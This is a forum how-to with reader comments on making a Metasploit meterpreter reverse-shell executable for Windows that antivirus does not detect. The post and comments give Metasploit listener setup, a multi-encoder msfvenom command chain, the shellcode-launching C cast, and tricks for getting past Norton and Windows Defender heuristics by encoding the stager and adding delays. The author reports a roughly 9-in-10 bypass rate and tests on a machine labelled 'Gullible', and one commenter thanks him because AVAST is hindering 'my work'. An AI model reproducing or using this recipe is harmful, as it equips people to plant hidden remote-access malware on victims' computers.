How To:

Creating a (Almost) Fully Undetectable EXE Using Kali & GCC

First, I want to give credit to the author where I first found how to do this: Astr0baby's Blog. This article was dated, so I took the script on his page and reworked it to make it work today. (I also included the way to make it hide the cmd line popup.)


  • Kali (or another Linux distro)
  • Metasploit (Framework, Express, or Pro)
  • GCC (I use the Windows version on MinGW on Wine)
  • A basic understanding of how to set up Metasploit's multi/handler

Note: If you do not have the Windows version of MinGW installed, this Post can show you how I do it.


It's no secret that AV sandboxes our executables, verifies their signatures, and uses other methods to determine whether our "legit" file is malicious or not. (Norton goes a step further and makes sure it doesn't connect to an unknown source without permission.) So how do we get around this?

In this how-to, I'm going to show you my method for AV evasion that uses the msfpayload and msfencode commands to create an executable file. Then we will run the code through some custom commands and "filler" variables to make it less detectable to AV.

Be aware: Metasploit is doing away with msfpayload and msfencode in the coming months, so msfvenom is going to be used instead. If you can modify this process to incorporate msfvenom, please get with me about it. I would love to keep this updated.


There are three things you need to do before you run the commands following.

  1. Update Kali:

sudo apt-get update

  1. Create a "ShellCode" folder in the metasploit root folder:

mkdir /usr/share/metasploit-framework/ShellCode

  1. Create an "out" folder in the root folder:

mkdir /root/out

I made the executable in the /root/out folder to keep things neat when creating multiple files. This is optional, but will require some editing of the commands if you choose not to place the finished .exe files there.

The Commands

Below is the code for creating the executable. This was originally just something for me to play with, so it may look a bit messy. Change the IP, port, enumber (encoder iterations), and seed variables as much or as little as you need to fit your scenario.

Be sure that the ShellCode folder is empty prior to running this.

Starting the Listener

Just in case you're reading this and have never started a Metasploit multi/handler module, here's how you do it:

use exploit/multi/handler
set LPORT 4444
set ExitOnSession false
exploit -j

Be sure your LHOST is the local IP address, even if you are making the executable connect to an external IP.

Final Thoughts

As stated before, this is a rework of an external article. I have made it into something more usable to me and also added the hidden command window strings that Astr0baby left out on his blog.

I have found this to be effective on multiple Windows OS's using most antivirus softwares and it bypasses it 9/10 times. Be aware that Norton Antivirus will recognize the file ONLY after it's executed and block a "meterpreter/reverse_tcp" attack. One way I've (kind of) gotten around this is to use meterpreter/reverse_https in the executable and listener. It still asks the user if they want to allow the connection, but doesn't call it malicious.

So, give it a shot. If you like it, I'm glad I could help. If you have ways to improve it, PM me. I would love to improve on this!

UPDATE: Now in Proper BASH Format.

Ok. so with some of you having problems getting this to work, I decided to make this a script rather Copy/Paste.

The new repo is here:
Download on GitHub

I hope this helps!


Thanks .... Really Appreciate the post.
AVAST especially now is making my work alot difficult now adays.
Thanks once again.


sumx=`sha1sum $filex`

after this line this code is not executing and i'm not getting anything into out folder though i got something in shellcode folder..

The reason for this is probably because gcc.exe did not compile the file properly. Run the commands again, and send me the output from Terminal.

EDIT: I fixed a typo on line 40 where it says "ShellCode" instead of "out" but this shouldn't affect the file in any way functionally.

I also just re ran the file straight from github by copying and pasting and I got my exe.

it says : mv: can not stat `final.exe`: no such file of directory

This means that gcc.exe never compiled that file. Which means that the rest of the script can't run properly because nothing exists in /root/out

so what i need to do.....don't i get solution of this problem??

Attached are proof of concept images. I've used the new kali box (kalitest) and a windows 8.1 machine (User Easymode Machine Gullible) running AVG 2015 Free. I used the new kali box and followed my tutorial (and the MinGW tutorial) exactly and have the results below.

Keep in mind I use Metasploit Pro, but none of its paid components are required. you can still use a cli exploit/multi/handler and achieve a shell.

I hope this assists you, Secret King, and anyone else who has difficulty using this tutorial successfully. Happy Hacking!

i hv install mingw sucessfully where it installed in kali...where can i found

From the How to Set Up MinGW on Kali article I posted:

"Great! Now you can use gcc.exe!

cd /root/.wine/drive_c/MinGW/bin
wine gcc.exe -o file.exe sourcefile.c
The installation will be located at /root/.wine/drive_c/MinGW
BUT you have to be in ~/bin to run gcc.exe which is why my commands say:

cd /root/.wine/drive_c/MinGW/bin/
wine gcc.exe -o /root/out/final.exe /usr/share/metasploit-framework/ShellCode/final.c -lwsock32

I have a question not about the script but the actual code:

Is it ok to say that this ((void (*)())micro)(); is casting micro to a function pointer, the function which it points to has no arguments and returns void and with the last to brackets that function is called?

And whats the difference between that and this, which i saw somewhere else:

That sounds about right. "micro" is just the variable name. it can be almost anything, but you have to change it where its defined as well.

I know, but why the second expression has 1 more pointer symbol, what difference does that make?

Ok, I got all of the prerequisites setup correctly as far as I can tell, but the script seems to be breaking where some others have mentioned. Any idea what I'm doing wrong based on this? thx

root@osboxes:~/.wine/drivec/MinGW/bin# wine gcc.exe -o /root/out/final.exe /usr/share/metasploit-framework/ShellCode/final.c -lwsock32

/usr/share/metasploit-framework/ShellCode/final.c:405:6: error: expected identifier or '(' before string constant
/usr/share/metasploit-framework/ShellCode/final.c:1207:4: error: expected identifier or '(' before string constant
/usr/share/metasploit-framework/ShellCode/final.c: In function 'main':
/usr/share/metasploit-framework/ShellCode/final.c:2013:42: error: 'micro' undeclared (first use in this function)
ShowWindow( hWnd, SWHIDE );((void ()())micro)();}

/usr/share/metasploit-framework/ShellCode/final.c:2013:42: note: each undeclared identifier is reported only once for each function it appears in

/usr/share/metasploit-framework/ShellCode/final.c: At top level:
/usr/share/metasploit-framework/ShellCode/final.c:2415:6: error: expected identifier or '(' before string constant
/usr/share/metasploit-framework/ShellCode/final.c:3217:4: error: expected identifier or '(' before string constant
root@osboxes:~/.wine/drivec/MinGW/bin# cd /root/out/
root@osboxes:~/out# mv final.exe $RANDOM.exe
mv: cannot stat `final.exe': No such file or directory
root@osboxes:~/out# filex=`ls -ct1 | head -1`
root@osboxes:~/out# sumx=`sha1sum $filex`

I'm not 100% sure why it's breaking right there... I'm going to look into it. I'm actually rewriting it for msfvenom and putting it into .sh proper format. Stay tuned.

EDIT: make sure that right after void it should have an asterisk in the following paretheses.

Sorry for the long comment, I apologize….

I have been messing around with building my own AV evading EXE (I'll share it when I'm done) and I stumbled across yours. I played with it for awhile and thought I'd share my observations and suggestions.

  1. The link in your other article seems to no longer contain the missing dll's. Maybe a list of the missing ones could help. Didn't matter for your script though.
  1. This is how I got it to work in msfvenom. It's a bit larger than msfpayload/msfencode and I didn't put the effort into why (sorry) since it really didn't matter in an EXE.

change line 6 to:

msfvenom -p windows/meterpreter/reverse_https LHOST=$IP LPORT=$port -e x86/shikata_ga_nai -i $enumber -f raw | msfvenom -p - -a x86 --platform win -e x86/jmp_call_additive -i $enumber -f raw | msfvenom -p - -a x86 --platform win -e x86/call4_dword_xor -i $enumber -f raw | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -i $enumber -f c >test.c

Then you have to change "unsigned char buf =" to "unsigned char micro=" in the final.c file in order for it to compile.

  1. I had a bunch of VM's laying around with different AV's on them so I decided to test the various EXE's. None of the AV's picked up on the EXE by simply scanning the hard drive, that's cool. However Norton's did nail it upon execution when I used the meterpreter/reversetcp payload. And I mean it stated meterpreter/reverse_tcp, normally they just say backdoor, trojan etc…. The good thing was it wasn't the payload connecting outbound it was catching. It was the handler sending the second stager. So I encoded the stager with x86/shikata_ga_nai in the advanced options and it worked, sweat… I didn't have any issues with meterpreter/reverse_https like you had stated.

Windows Defender on Windows 10 nailed it every time upon execution. No matter what I used. The heuristics of the AV was catching it. By including #include <unistd.h>in the final.c file and then adding sleep(60*1000); to the main function I was able to wait out the heuristics and the payload executed.

Note: This is a dirty…dirty way to do it but it proved the point of bypassing the heuristics. Also 60 seconds may be a bit of over kill, but hey it worked.

EDITED: to get around Ajax error.

Interesting... I'll have to think about the sleeping in my own payloads.

Yes, I'm just using sleep as an example here. It will work but would probably not be much effort for the AV companies to make a rule that anything that doesn't do anything for x amount of time simply extened the hueristics till it does do something. Idealy you would make it do something trivial and/or harmless for x amount of time. Like some redundant math for 60 seconds.

It's the very same for me, I am getting errors. It's a different tho, the script is failing processing line 63. 63: Syntax error: Bad for loop variable

That's what I'm getting, code seems legit tho... Any advice on this ?

Interesting, I just downloaded the sh file and ran it with no issues on Kali. Try downloading the script again and running it? Line 63 is just using a for loop to make a bunch of random fluff at the beginning of the temp file.

Oh, I got it. So stupid, I ran sh and not bash Mea culpa, really ^

Share Your Thoughts

  • Hot
  • Latest